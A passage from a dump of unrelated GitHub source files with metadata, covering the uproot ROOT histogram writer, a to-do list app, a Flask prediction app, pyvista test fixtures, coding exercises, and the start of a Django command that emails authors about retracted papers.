cursor.return_fields(self._format_tattaxis,\n axis[\"_fNdivisions\"],\n axis[\"_fAxisColor\"],\n axis[\"_fLabelColor\"],\n axis[\"_fLabelFont\"],\n axis[\"_fLabelOffset\"],\n axis[\"_fLabelSize\"],\n axis[\"_fTickLength\"],\n axis[\"_fTitleOffset\"],\n axis[\"_fTitleSize\"],\n axis[\"_fTitleColor\"],\n axis[\"_fTitleFont\"]))\n def length_tattaxis(self):\n return self._format_tattaxis.size + self._format_cntvers.size\n\n _format_taxis_1 = struct.Struct(\">idd\")\n _format_taxis_2 = struct.Struct(\">iiH?\")\n def return_taxis(self, cursor, axis):\n cnt = numpy.int64(self.length_taxis(axis) - 4) | uproot.const.kByteCountMask\n vers = 10\n if len(axis.get(\"_fLabels\", [])) > 0 or len(axis.get(\"_fModLabs\", [])) > 0:\n raise NotImplementedError\n return (cursor.return_fields(self._format_cntvers, cnt, vers) +\n self.return_tnamed(cursor, axis[\"_fName\"], axis[\"_fTitle\"]) +\n self.return_tattaxis(cursor, axis) +\n cursor.return_fields(self._format_taxis_1,\n axis[\"_fNbins\"],\n axis[\"_fXmin\"],\n axis[\"_fXmax\"]) +\n self.return_tarray(cursor, axis[\"_fXbins\"]) +\n cursor.return_fields(self._format_taxis_2,\n axis[\"_fFirst\"],\n axis[\"_fLast\"],\n axis[\"_fBits2\"],\n axis[\"_fTimeDisplay\"]) +\n cursor.return_string(axis[\"_fTimeFormat\"]) +\n (b\"\\x00\" * 8)) # duck typing\n # self.write_tlist(cursor, sink, axis[\"_fLabels\"])\n # self.write_tlist(cursor, sink, axis[\"_fModLabs\"])\n def length_taxis(self, axis):\n return (self.length_tnamed(axis[\"_fName\"], axis[\"_fTitle\"]) +\n self.length_tattaxis() +\n self._format_taxis_1.size +\n self.length_tarray(axis[\"_fXbins\"]) +\n self._format_taxis_2.size +\n uproot.write.sink.cursor.Cursor.length_string(axis[\"_fTimeFormat\"]) +\n 8 + # Duck typing\n self._format_cntvers.size)\n # self._format_taxis_2.size +\n # uproot.write.sink.cursor.Cursor.length_string(axis[\"_fTimeFormat\"]) +\n # self.length_tlist(axis[\"_fLabels\"]) +\n # self.length_tlist(axis[\"_fModLabs\"]))\n\n _format_th1_1 = struct.Struct(\">i\")\n _format_th1_2 = struct.Struct(\">hhdddddddd\")\n _format_th1_3 = struct.Struct(\">iBii\")\n def return_th1(self, cursor, name):\n cnt = numpy.int64(self.length_th1(name) - 4) | uproot.const.kByteCountMask\n vers = 8\n if len(self.fields[\"_fBuffer\"]) != 0:\n raise NotImplementedError\n return (cursor.return_fields(self._format_cntvers, cnt, vers) +\n self.return_tnamed(cursor, name, self.fTitle) +\n self.return_tattline(cursor) +\n self.return_tattfill(cursor) +\n self.return_tattmarker(cursor) +\n cursor.return_fields(self._format_th1_1, self.fields[\"_fNcells\"]) +\n self.return_taxis(cursor, self.fXaxis) +\n self.return_taxis(cursor, self.fYaxis) +\n self.return_taxis(cursor, self.fZaxis) +\n cursor.return_fields(self._format_th1_2,\n self.fields[\"_fBarOffset\"],\n self.fields[\"_fBarWidth\"],\n self.fields[\"_fEntries\"],\n self.fields[\"_fTsumw\"],\n self.fields[\"_fTsumw2\"],\n self.fields[\"_fTsumwx\"],\n self.fields[\"_fTsumwx2\"],\n self.fields[\"_fMaximum\"],\n self.fields[\"_fMinimum\"],\n self.fields[\"_fNormFactor\"]) +\n self.return_tarray(cursor, self.fields[\"_fContour\"]) +\n self.return_tarray(cursor, self.fields[\"_fSumw2\"]) +\n cursor.return_string(self.fields[\"_fOption\"]) +\n self.return_tlist(cursor, self.fields[\"_fFunctions\"]) +\n cursor.return_fields(self._format_th1_3,\n self.fields[\"_fBufferSize\"],\n 0, # FIXME: empty fBuffer\n self.fields[\"_fBinStatErrOpt\"],\n self.fields[\"_fStatOverflows\"]))\n\n _format_th2_1 = struct.Struct(\">dddd\")\n def return_th2(self, cursor, name):\n cnt = numpy.int64(self.length_th2(name) - 4) | uproot.const.kByteCountMask\n vers = 5\n return (cursor.return_fields(self._format_cntvers, cnt, vers) + self.return_th1(cursor, name) +\n cursor.return_fields(self._format_th2_1,\n self.fields[\"_fScalefactor\"],\n self.fields[\"_fTsumwy\"],\n self.fields[\"_fTsumwy2\"],\n self.fields[\"_fTsumwxy\"]))\n\n _format_th3_1 = struct.Struct(\">ddddddd\")\n def return_th3(self, cursor, name):\n cnt = numpy.int64(self.length_th3(name) - 4) | uproot.const.kByteCountMask\n vers = 6\n return (cursor.return_fields(self._format_cntvers, cnt, vers) + self.return_th1(cursor, name) +\n self.return_tatt3d(cursor) + cursor.return_fields(self._format_th3_1,\n self.fields[\"_fTsumwy\"],\n self.fields[\"_fTsumwy2\"],\n self.fields[\"_fTsumwxy\"],\n self.fields[\"_fTsumwz\"],\n self.fields[\"_fTsumwz2\"],\n self.fields[\"_fTsumwxz\"],\n self.fields[\"_fTsumwyz\"]))\n\n def length_th1(self, name):\n return (self.length_tnamed(name, self.fTitle) +\n self.length_tattline() +\n self.length_tattfill() +\n self.length_tattmarker() +\n self._format_th1_1.size +\n self.length_taxis(self.fXaxis) +\n self.length_taxis(self.fYaxis) +\n self.length_taxis(self.fZaxis) +\n self._format_th1_2.size +\n self.length_tarray(self.fields[\"_fContour\"]) +\n self.length_tarray(self.fields[\"_fSumw2\"]) +\n uproot.write.sink.cursor.Cursor.length_string(self.fields[\"_fOption\"]) +\n self.length_tlist(self.fields[\"_fFunctions\"]) +\n self._format_th1_3.size + self._format_cntvers.size)\n\n def length_th2(self, name):\n return self.length_th1(name) + self._format_th2_1.size + self._format_cntvers.size\n\n def length_th3(self, name):\n return self.length_th1(name) + self._format_th3_1.size + self.length_tatt3d() + self._format_cntvers.size\n\n def return_tatt3d(self, cursor):\n cnt = numpy.int64(self.length_tatt3d() - 4) | uproot.const.kByteCountMask\n vers = 1\n return cursor.return_fields(self._format_cntvers, cnt, vers)\n\n def length_tatt3d(self):\n return self._format_cntvers.size\n\n def return_th1d(self, cursor, name):\n cnt = numpy.int64(self.length_th1d(name) - 4) | uproot.const.kByteCountMask\n vers = 3\n return (cursor.return_fields(self._format_cntvers, cnt, vers) + self.return_th1(cursor, name)\n + self.return_tarray(cursor, self.valuesarray))\n\n def length_th1d(self, name):\n return self.length_th1(name) + self.length_tarray(self.valuesarray) + self._format_cntvers.size\n\n def return_th2d(self, cursor, name):\n cnt = numpy.int64(self.length_th2d(name) - 4) | uproot.const.kByteCountMask\n vers = 4\n return (cursor.return_fields(self._format_cntvers, cnt, vers) + self.return_th2(cursor, name)\n + self.return_tarray(cursor, self.valuesarray))\n\n def length_th2d(self, name):\n return self.length_th2(name) + self.length_tarray(self.valuesarray) + self._format_cntvers.size\n\n def return_th3d(self, cursor, name):\n cnt = numpy.int64(self.length_th3d(name) - 4) | uproot.const.kByteCountMask\n vers = 4\n return (cursor.return_fields(self._format_cntvers, cnt, vers) + self.return_th3(cursor, name)\n + self.return_tarray(cursor, self.valuesarray))\n\n def length_th3d(self, name):\n return self.length_th3(name) + self.length_tarray(self.valuesarray) + self._format_cntvers.size\n\n _format_tprofile = struct.Struct(\">idddd\")\n def write(self, context, cursor, name, compression, key, keycursor):\n givenbytes = 0\n cnt = numpy.int64(self.length(name) - 4) | uproot.const.kByteCountMask\n if \"TH1\" in self.fClassName.decode(\"utf-8\"):\n vers = 3\n givenbytes = cursor.return_fields(self._format_cntvers, cnt, vers) + self.return_th1(cursor, name)\n givenbytes += self.return_tarray(cursor, self.valuesarray)\n elif \"TH2\" in self.fClassName.decode(\"utf-8\"):\n vers = 4\n givenbytes = cursor.return_fields(self._format_cntvers, cnt, vers) + self.return_th2(cursor, name)\n givenbytes += self.return_tarray(cursor, self.valuesarray)\n elif \"TH3\" in self.fClassName.decode(\"utf-8\"):\n vers = 4\n givenbytes = cursor.return_fields(self._format_cntvers, cnt, vers) + self.return_th3(cursor, name)\n givenbytes += self.return_tarray(cursor, self.valuesarray)\n elif \"TProfile\" == self.fClassName.decode(\"utf-8\"):\n vers = 7\n givenbytes = (cursor.return_fields(self._format_cntvers, cnt, vers) + self.return_th1d(cursor, name)\n + self.return_tarray(cursor, self.fields[\"_fBinEntries\"]) +\n cursor.return_fields(self._format_tprofile, self.fields[\"_fErrorMode\"], self.fields[\"_fYmin\"],\n self.fields[\"_fYmax\"], self.fields[\"_fTsumwy\"], self.fields[\"_fTsumwy2\"]) +\n self.return_tarray(cursor, self.fields[\"_fBinSumw2\"]))\n elif \"TProfile2D\" == self.fClassName.decode(\"utf-8\"):\n vers = 8\n givenbytes = (cursor.return_fields(self._format_cntvers, cnt, vers) + self.return_th2d(cursor, name)\n + self.return_tarray(cursor, self.fields[\"_fBinEntries\"]) +\n cursor.return_fields(self._format_tprofile, self.fields[\"_fErrorMode\"], self.fields[\"_fZmin\"],\n self.fields[\"_fZmax\"], self.fields[\"_fTsumwz\"], self.fields[\"_fTsumwz2\"]) +\n self.return_tarray(cursor, self.fields[\"_fBinSumw2\"]))\n elif \"TProfile3D\" == self.fClassName.decode(\"utf-8\"):\n vers = 8\n givenbytes = (cursor.return_fields(self._format_cntvers, cnt, vers) + self.return_th3d(cursor, name)\n + self.return_tarray(cursor, self.fields[\"_fBinEntries\"]) +\n cursor.return_fields(self._format_tprofile, self.fields[\"_fErrorMode\"], self.fields[\"_fTmin\"],\n self.fields[\"_fTmax\"], self.fields[\"_fTsumwt\"], self.fields[\"_fTsumwt2\"]) +\n self.return_tarray(cursor, self.fields[\"_fBinSumw2\"]))\n uproot.write.compress.write(context, cursor, givenbytes, compression, key, keycursor)\n\n def length(self, name):\n if \"TH1\" in self.fClassName.decode(\"utf-8\"):\n return self.length_th1(name) + self.length_tarray(self.valuesarray) + self._format_cntvers.size\n elif \"TH2\" in self.fClassName.decode(\"utf-8\"):\n return self.length_th2(name) + self.length_tarray(self.valuesarray) + self._format_cntvers.size\n elif \"TH3\" in self.fClassName.decode(\"utf-8\"):\n return self.length_th3(name) + self.length_tarray(self.valuesarray) + self._format_cntvers.size\n elif \"TProfile\" == self.fClassName.decode(\"utf-8\"):\n return (self.length_th1d(name) + self.length_tarray(self.fields[\"_fBinEntries\"]) + self._format_tprofile.size\n + self.length_tarray(self.fields[\"_fBinSumw2\"]) + self._format_cntvers.size)\n elif \"TProfile2D\" == self.fClassName.decode(\"utf-8\"):\n return (self.length_th2d(name) + self.length_tarray(self.fields[\"_fBinEntries\"]) + self._format_tprofile.size\n + self.length_tarray(self.fields[\"_fBinSumw2\"]) + self._format_cntvers.size)\n elif \"TProfile3D\" == self.fClassName.decode(\"utf-8\"):\n return (self.length_th3d(name) + self.length_tarray(self.fields[\"_fBinEntries\"]) + self._format_tprofile.size\n + self.length_tarray(self.fields[\"_fBinSumw2\"]) + self._format_cntvers.size)\n","repo_name":"aderwent/uproot","sub_path":"uproot/write/objects/TH.py","file_name":"TH.py","file_ext":"py","file_size_in_byte":24022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"76"} +{"seq_id":"13006350950","text":"class Task():\n \n \"\"\"This program allows you manage your to-do list and is fully \n tested from the point of view of users. \n It's also very user friendly\"\"\"\n \n \n def __init__(self):\n \n self.tasks = []\n self.active_tasks = []\n self.completed_tasks = []\n \n \n # allow users to find help \n def app_help(self):\n \n print(\"\"\"You can use this app to create to-do-lists and manage your tasks:\\n\n - use create_task() to create new tasks\\n\n - delete_task() to delete a single task \\n\n - delete_all_tasks() to delete all task from your main list\\n\n - create_active_tasks() to create an active task list\\n\n - create_completed_tasks() to mark a single task as complete\\n\n - all_tasks_completed() to mark all as complete\\n\n - delete_completed_tasks() deletes everything in completed list\\n\n - show_status() shows status of all tasks\"\"\")\n \n \n # allow users to create tasks\n def create_task(self):\n \n while True:\n \n new_tasks = input('Enter new tasks or Q or q to quit:\\n')\n \n if new_tasks == \"Q\" or new_tasks == 'q':\n break \n \n elif new_tasks == '':\n print(\"Please add a task!!\")\n continue\n \n else:\n self.tasks.append(new_tasks)\n \n if len(self.tasks) != 0:\n print(\"\\n\")\n print(f\"Your Tasks are:{self.tasks}\")\n \n \n # allow users to delete a single task from main list\n def delete_task(self):\n \n if len(self.tasks) == 0:\n \n print(\"You don't have anything in your task list\")\n \n else:\n while True:\n \n delete_task = input('Enter the task number to be deleted or Q/q to quit:')\n \n if delete_task == 'q' or delete_task == 'Q':\n break\n else:\n try:\n try:\n self.tasks.pop(int(delete_task))\n print(\"Task Deleted\\n\")\n print(f\"Your Tasks are:{list(enumerate(self.tasks))}\")\n if len(self.tasks) == 0:\n print(\"You don't have any pending tasks\")\n break \n except IndexError:\n print(\"Please enter the number within task length range\")\n \n except ValueError:\n print(\"Please enter either task number or q/Q\")\n \n # Allow users to delete all tasks from main and active lists\n def delete_all_tasks(self):\n \n if len(self.tasks) != 0:\n self.tasks.clear()\n self.active_tasks.clear()\n print(\"All tasks are clear\")\n \n else:\n print(\"You don't have any task in your list\")\n \n # allow users to create active tasks\n def create_active_tasks(self):\n \n if len(self.tasks) !=0: \n self.active_tasks = self.tasks[:]\n print(f\"Your active tasks are:{self.active_tasks}\")\n \n else:\n print(\"You don't have any task in tasks list\")\n \n while True:\n new_task_input = input(\"Want to create new tasks?:yes or no\").lower()\n \n if new_task_input == \"yes\":\n self.create_task()\n break\n if new_task_input == \"no\":\n break\n if new_task_input not in [\"yes\", \"no\"]:\n print(\"Please enter either yes or no\")\n \n # allow users to mark a task as complete\n def create_completed_tasks(self):\n \n if len(self.active_tasks) == 0:\n print(\"You don't have anything in your active task list\")\n \n else:\n \n while True:\n \n completed_input = input(\"Enter task number to mark as complete or Q/q to quit\")\n \n if completed_input == 'Q' or completed_input == 'q':\n break\n \n else:\n try:\n try:\n popped_task = self.active_tasks.pop(int(completed_input))\n self.tasks.remove(popped_task)\n self.completed_tasks.append(popped_task)\n \n print(\"\\n\")\n print(f\"Your completed tasks are: {self.completed_tasks}\\n\")\n \n if len(self.active_tasks) == 0:\n print(\"Great Job 🎉 All Done!!\")\n break\n else:\n print(f\"Your active tasks are:{list(enumerate(self.active_tasks))}\")\n \n except IndexError:\n print(\"Please enter number within task range\")\n \n except ValueError:\n print(\"Please enter either task number or Q/q\")\n \n # allow users to mark all tasks as completed\n def all_tasks_completed(self):\n \n if len(self.active_tasks) == 0:\n print(\"You don't have anything in your active task list\")\n else:\n self.completed_tasks = self.active_tasks[:]\n print(f\"Your completed tasks are: {list(enumerate(self.completed_tasks))}\\n\")\n \n \n # to delete all completed tasks\n def delete_completed_tasks(self):\n \n if len(self.completed_tasks) == 0:\n \n print(\"There is nothing to delete\")\n else:\n self.completed_tasks.clear()\n \n print(\"Completed tasks are deleted\")\n \n # allow users to see all task list status\n def show_status(self):\n \n print(\"Here is the detail of your task lists:\\n\")\n \n if len(self.tasks) == 0:\n print(\"Your task list: All Done 🥰 \\n\")\n else:\n print(f\"Your task list:{self.tasks}\\n\")\n \n if len(self.active_tasks) == 0:\n print(\"Your active tasks are: All Done 🥰 \\n\")\n else:\n print(f\"Your active tasks are: {self.active_tasks}\\n\")\n \n if len(self.completed_tasks) == 0:\n print(f\"Your completed tasks are: All Done 🥰 \\n\")\n else:\n print(f\"Your completed tasks are: {self.completed_tasks}\\n\")\n ","repo_name":"kelixirr/Python-Projects","sub_path":"To-Do-List App/to-do-list.py","file_name":"to-do-list.py","file_ext":"py","file_size_in_byte":7084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"11766400904","text":"from flask import Flask\nfrom flask import render_template\nfrom flask import request\nfrom write import writerXlsx\nimport rapidminer\nimport pandas as pd\napp = Flask(__name__,static_url_path='/static')\n\n@app.route(\"/\")\ndef index():\n return render_template('main.html')\n\n@app.route('/', methods=['POST'])\n\ndef save():\n listAns = [request.form[\"FavoriteField\"],request.form[\"FavoriteCamp\"],request.form[\"MostImportantThingOfDesigning\"],\n request.form[\"JavaJava\"] ,request.form[\"Python\"],request.form[\"SQL\"],request.form[\"js\"],request.form[\"C\"]]\n #x = dict(request.form.items())\n print(listAns)\n writerXlsx(listAns)\n rm = rapidminer.Studio()\n myinput = pd.read_excel(r'test.xlsx')\n run_model = rm.run_process(\"//Local Repository/DataMining/Deployment\", inputs=[myinput])\n myoutput = rm.read_resource(\"//Local Repository/data/Output\")\n resultStr = myoutput[\"prediction(Faculty)\"].to_string()\n result = resultStr.split(\" \")\n return render_template('result.html', result= result[1])# \n \napp.run(debug=True)\n","repo_name":"dukes03/DataMining-Project2022","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"6080924429","text":"# 진법 변환 2\n# 계속 나누면서 나머지를 리스트에 추가하는데\n# 추가된 나머지는 원래는 뒤에서부터 집어넣는 것이므로 나중에 결과를 뒤집는다\n\n# 방법 1\nnum_dict = {k - ord('A') + 10: chr(k) for k in range(ord('A'), ord('Z') + 1)}\nN, K = map(int, input().split())\nsol = []\n# remainder 담을 변수\nrm = 0\n\nwhile N > 0:\n rm = N % K\n\n if rm >= 10:\n sol.append(num_dict[rm])\n else:\n sol.append(rm)\n N //= K\n\nprint(*sol[::-1], sep='')\n\n# 방법 2\ndef ja(n):\n if 0 <= int(n) <= 9:\n return str(n)\n else:\n return chr(n + 55)\n\n\nN, B = map(int, input().split())\ntotal = ''\nwhile N > 0:\n total += ja(N % B)\n N //= B\nprint(total[::-1])","repo_name":"minguno/Algorithm","sub_path":"BAEKJOON/BOJ_11005.py","file_name":"BOJ_11005.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"44996231763","text":"import pytest\nfrom emojificate.filter import emojificate\n\nTEST_NOCHANGE = [\n \"☆*:.。. (づ ◕‿◕ )づ .。.:*☆\",\n \"This is a test of the emojification system!\",\n]\n\n\ndef test_nochange():\n for phrase in TEST_NOCHANGE:\n parsed = emojificate(phrase)\n assert phrase == parsed\n","repo_name":"glasnt/emojificate","sub_path":"tests/test_nochange.py","file_name":"test_nochange.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"76"} +{"seq_id":"70100605687","text":"\"\"\"This conftest is here to allow for checking garbage collection and\nmemory leaks for all plotting tests\n\"\"\"\nimport gc\nimport inspect\n\nimport pytest\n\nimport pyvista as pv\nfrom pyvista.plotting import system_supports_plotting\n\n# these are set here because we only need them for plotting tests\npv.global_theme.load_theme(pv.plotting.themes._TestingTheme())\npv.OFF_SCREEN = True\nSKIP_PLOTTING = not system_supports_plotting()\n\n\n# Configure skip_plotting marker\ndef pytest_configure(config):\n config.addinivalue_line(\n 'markers', 'skip_plotting: skip the test if system does not support plotting'\n )\n\n\ndef pytest_runtest_setup(item):\n skip = any(mark.name == 'skip_plotting' for mark in item.iter_markers())\n if skip and SKIP_PLOTTING:\n pytest.skip('Test requires system to support plotting')\n\n\ndef _is_vtk(obj):\n try:\n return obj.__class__.__name__.startswith('vtk')\n except Exception: # old Python sometimes no __class__.__name__\n return False\n\n\n@pytest.fixture()\ndef skip_check_gc(check_gc):\n \"\"\"Skip check_gc fixture.\"\"\"\n check_gc.skip = True\n\n\n@pytest.fixture(autouse=True)\ndef check_gc():\n \"\"\"Ensure that all VTK objects are garbage-collected by Python.\"\"\"\n gc.collect()\n before = {id(o) for o in gc.get_objects() if _is_vtk(o)}\n\n class GcHandler:\n def __init__(self) -> None:\n # if set to True, will entirely skip checking in this fixture\n self.skip = False\n\n gc_handler = GcHandler()\n\n yield gc_handler\n\n if gc_handler.skip:\n return\n\n pv.close_all()\n\n gc.collect()\n after = [o for o in gc.get_objects() if _is_vtk(o) and id(o) not in before]\n msg = 'Not all objects GCed:\\n'\n for obj in after:\n cn = obj.__class__.__name__\n cf = inspect.currentframe()\n referrers = [v for v in gc.get_referrers(obj) if v is not after and v is not cf]\n del cf\n for ri, referrer in enumerate(referrers):\n if isinstance(referrer, dict):\n for k, v in referrer.items():\n if k is obj:\n referrers[ri] = 'dict: d key'\n del k, v\n break\n elif v is obj:\n referrers[ri] = f'dict: d[{k!r}]'\n del k, v\n break\n del k, v\n else:\n referrers[ri] = f'dict: len={len(referrer)}'\n else:\n referrers[ri] = repr(referrer)\n del ri, referrer\n msg += f'{cn}: {referrers}\\n'\n del cn, referrers\n assert len(after) == 0, msg\n\n\n@pytest.fixture()\ndef colorful_tetrahedron():\n mesh = pv.Tetrahedron()\n mesh.cell_data[\"colors\"] = [[255, 255, 255], [255, 0, 0], [0, 255, 0], [0, 0, 255]]\n return mesh\n\n\ndef make_two_char_img(text):\n \"\"\"Turn text into an image.\n\n This is really only here to make a two character black and white image.\n\n \"\"\"\n # create a basic texture by plotting a sphere and converting the image\n # buffer to a texture\n pl = pv.Plotter(window_size=(300, 300), lighting=None, off_screen=True)\n pl.add_text(text, color='w', font_size=100, position=(0.1, 0.1), viewport=True, font='courier')\n pl.background_color = 'k'\n pl.camera.zoom = 'tight'\n return pv.Texture(pl.screenshot()).to_image()\n\n\n@pytest.fixture()\ndef cubemap(texture):\n \"\"\"Sample texture as a cubemap.\"\"\"\n return pv.Texture(\n [\n make_two_char_img('X+'),\n make_two_char_img('X-'),\n make_two_char_img('Y+'),\n make_two_char_img('Y-'),\n make_two_char_img('Z+'),\n make_two_char_img('Z-'),\n ]\n )\n","repo_name":"pyvista/pyvista","sub_path":"tests/plotting/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":3718,"program_lang":"python","lang":"en","doc_type":"code","stars":2055,"dataset":"github-code","pt":"76"} +{"seq_id":"11603542849","text":"import unittest\n\nfrom redsparrow.extractor import winnow, winnow_all\n\n\nclass WinnowingTest(unittest.TestCase):\n\n\n def test_winnowing_all_same_text(self):\n winnowed = winnow_all(\"\"\"Tekst krotki\"\"\")\n winnowed_same = winnow_all(\"\"\"Tekst krotki\"\"\")\n self.assertEqual(winnowed, winnowed_same)\n # self.assertEqual(winnowed, [])\n\n\n def test_winnowing(self):\n actual = winnow('A do run run run, a do run run')\n expected = {5: 23942, 14: 2887, 2: 1966, 9: 23942, 20: 1966}\n self.assertEqual(actual, expected)\n\n def test_winnowing_all_diffrent_text(self):\n winnowed = winnow_all(\"\"\"Tekt krotki\"\"\")\n winnowed1 = winnow_all(\"\"\"Tekst krotki\"\"\")\n self.assertNotEqual(winnowed, winnowed1)\n","repo_name":"Teleinformatyka/RedSparrow","sub_path":"tests/extractor/test_winnowing.py","file_name":"test_winnowing.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"76"} +{"seq_id":"30630569278","text":"import requests\nimport lxml\nfrom bs4 import BeautifulSoup\n\n\nurl = \"http://quotes.toscrape.com\"\nresponse = requests.get(url)\n\nif response.status_code == 200:\n soup = BeautifulSoup(response.text, 'lxml')\n\n quotes = soup.find_all(\"span\", class_=\"text\")\n authors = soup.find_all(\"small\", class_=\"author\")\n tags = soup.find_all(\"div\", class_=\"quote\")\n\n for index in range(len(quotes)):\n print(authors[index].text, \" - \", quotes[index].text)\n quote_tags = tags[index].find_all(\"a\", class_=\"tag\")\n for t in quote_tags:\n print(t.text)\n print(\"\")\n","repo_name":"ptyadana/Python-Projects-Dojo","sub_path":"17.Python for Automation/02.Web Scraping with Beautiful Soup/scraping_quotes.py","file_name":"scraping_quotes.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"76"} +{"seq_id":"18308771424","text":"class Solution:\n def smallestSufficientTeam(self, req_skills: List[str], people: List[List[str]]) -> List[int]:\n dic = {req_skills[i]:i for i in range(len(req_skills))}\n path = defaultdict(list)\n dp = [float('inf') for _ in range(1 << len(req_skills))]\n dp[0] = 0\n for i in range(1, len(people)+1):\n set1 = set([dic[val] for val in people[i-1]])\n for j in range(1 << len(req_skills)):\n x = j\n for val in set1:\n x |= 1 << val\n if dp[j] + 1 < dp[x]:\n dp[x] = dp[j] + 1\n path[x] = path[j][::] + [i-1]\n return path[(1 << len(req_skills))-1]\n \n \nclass Solution:\n def smallestSufficientTeam(self, req_skills: List[str], people: List[List[str]]) -> List[int]:\n dic = {s : i for i, s in enumerate(req_skills)}\n leng = len(req_skills)\n dp = [float('inf') for _ in range(1< list:\n\n# if len == 1: # base_condition\n# return ['*']\n\n# stars = append_star(len//3)\n# l = []\n\n# # 행을 1,2,3으로 나눠 작은 사각형부터 큰 사각형으로 붙여준다.\n# for s in stars:\n# l.append(s*3)\n# for s in stars:\n# l.append(s + ' '*(len//3) + s)\n# for s in stars:\n# l.append(s*3)\n\n# return l\n\n\n# n = int(input())\n# print('\\n'.join(append_star(n)))\n","repo_name":"plerin/solveThePS","sub_path":"Daily/220130/별찍기10_2447.py","file_name":"별찍기10_2447.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"42279269959","text":"\"\"\"\nGiven an array of distinct integers, return all the possible permutations. You can return the answer in any\norder.\n\n\"\"\"\n\ndef all_permutations(nums:list):\n permutations = []\n if len(nums) == 0: return [[]]\n def swap(arr:list, idxOne, idxTwo):\n temp = arr[idxOne]\n arr[idxOne] = arr[idxTwo]\n arr[idxTwo] = temp\n def helper(nums:list, i:int):\n if i == len(nums) -1:\n permutations.append(nums.copy())\n return\n for j in range(i, len(nums)):\n swap(nums, i, j)\n helper(nums, i+1)\n swap(nums, i, j)\n helper(nums, 0)\n return permutations\n\n\nprint(all_permutations([1,2,3]))","repo_name":"CodingWithCDJE/Udemy","sub_path":"DSA/recursion/PY/Permutations.py","file_name":"Permutations.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"8447651128","text":"import string\nimport random\n\ndef make_salt():\n digits = string.digits\n alpabat = string.ascii_letters\n letters_set = alpabat + digits\n random_list = random.sample(letters_set,15)\n result = ''.join(random_list)\n print(result)\n return result","repo_name":"KimTeaSick/bitcoin_tranding","sub_path":"utils/makeSalt.py","file_name":"makeSalt.py","file_ext":"py","file_size_in_byte":246,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"27720648261","text":"'''\n堆排序\n'''\n\nfrom heapq import heappush, heappop\n\n\ndef heapSort(nums):\n res = []\n data = []\n\n for ele in nums:\n heappush(data, ele)\n\n for _ in range(len(nums)):\n res.append(heappop(data))\n\n return res\n\n\nif __name__ == '__main__':\n nums = [1, 3, 5, 7, 9, 2, 4, 6, 8, 0]\n print(heapSort(nums))\n","repo_name":"Jiezju/DataStructure_Alogrithm","sub_path":"Python/DataStructure/6_heap/heap_sort.py","file_name":"heap_sort.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"28750595436","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys\n\ndef main():\n t = int(input())\n for tc in range(t):\n n = int(input())\n p = list(map(int, input().split(' ')))\n psum = sum(p)\n out = list()\n\n for tw in range(int(psum / 2)):\n bi = 0\n for i, x in enumerate(p):\n if x > p[bi]:\n bi = i\n nbi = 0 if bi != 0 else 1\n for i, x in enumerate(p):\n if i == bi:\n continue\n if x > p[nbi]:\n nbi = i\n\n p[bi] -= 1\n p[nbi] -= 1\n s = chr(65 + bi) + chr(65 + nbi)\n out.insert(0, s)\n\n # handle last odd one\n s = ''\n if psum % 2 == 1:\n # do last one\n mi = p.index(max(p))\n s += chr(65 + mi)\n out.insert(0, s)\n\n toutput = 'Case #%d: ' % (tc + 1)\n for sen in out:\n toutput += sen + ' '\n toutput = toutput.strip()\n print(toutput)\n\nif __name__ == '__main__':\n main()\n","repo_name":"DaHuO/Supergraph","sub_path":"codes/CodeJamCrawler/CJ/16_3_1_elitan_main.py","file_name":"16_3_1_elitan_main.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32813681883","text":"import email.utils\nimport logging\nimport mailbox\n\nimport anymail.exceptions\nimport anymail.utils\nimport django.core.exceptions\nimport django.db\nimport html2text\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.core.management.base import BaseCommand\n\nfrom common import setup\nfrom retractions.models import Author, CitingPaper, MailSent\n\n\ntext_maker = html2text.HTML2Text()\ntext_maker.links_each_paragraph = True\n\n\nclass OurEmail(EmailMultiAlternatives):\n def __init__(self, *args, **kwargs):\n self.recentest_citing_paper_id = None\n self.papers = None\n super().__init__(*args, **kwargs)\n\n\nclass Command(BaseCommand):\n \"\"\"\n Regular task.\n \"\"\"\n\n args = \"\"\n help = \"\"\"For all new citations of retracted papers, mail the\n authors, using anymail. Can put papers in the RCT,\n in which case they will be excluded, or randomly\n put in the intervention or control group and mailed\n appropriately.\n \"\"\" # noqa: A003\n\n def add_arguments(self, parser):\n parser.add_argument(\n \"--live-run\",\n action=\"store_true\",\n dest=\"live-run\",\n help=\"Actually send emails, rather than (default) do a dry run\",\n )\n parser.add_argument(\n \"--test-email\",\n action=\"store\",\n dest=\"test-email\",\n help=\"Sends outgoing emails to this email address\",\n default=None,\n )\n parser.add_argument(\n \"--limit\",\n action=\"store\",\n dest=\"limit\",\n help=\"Maximum number of authors to send to\",\n default=None,\n )\n\n def handle(self, *args, **options):\n setup.setup_logger(options[\"verbosity\"])\n if options[\"live-run\"]:\n self.mb = mailbox.mbox(\"live-all-sent-mails.mbox\")\n else:\n self.mb = 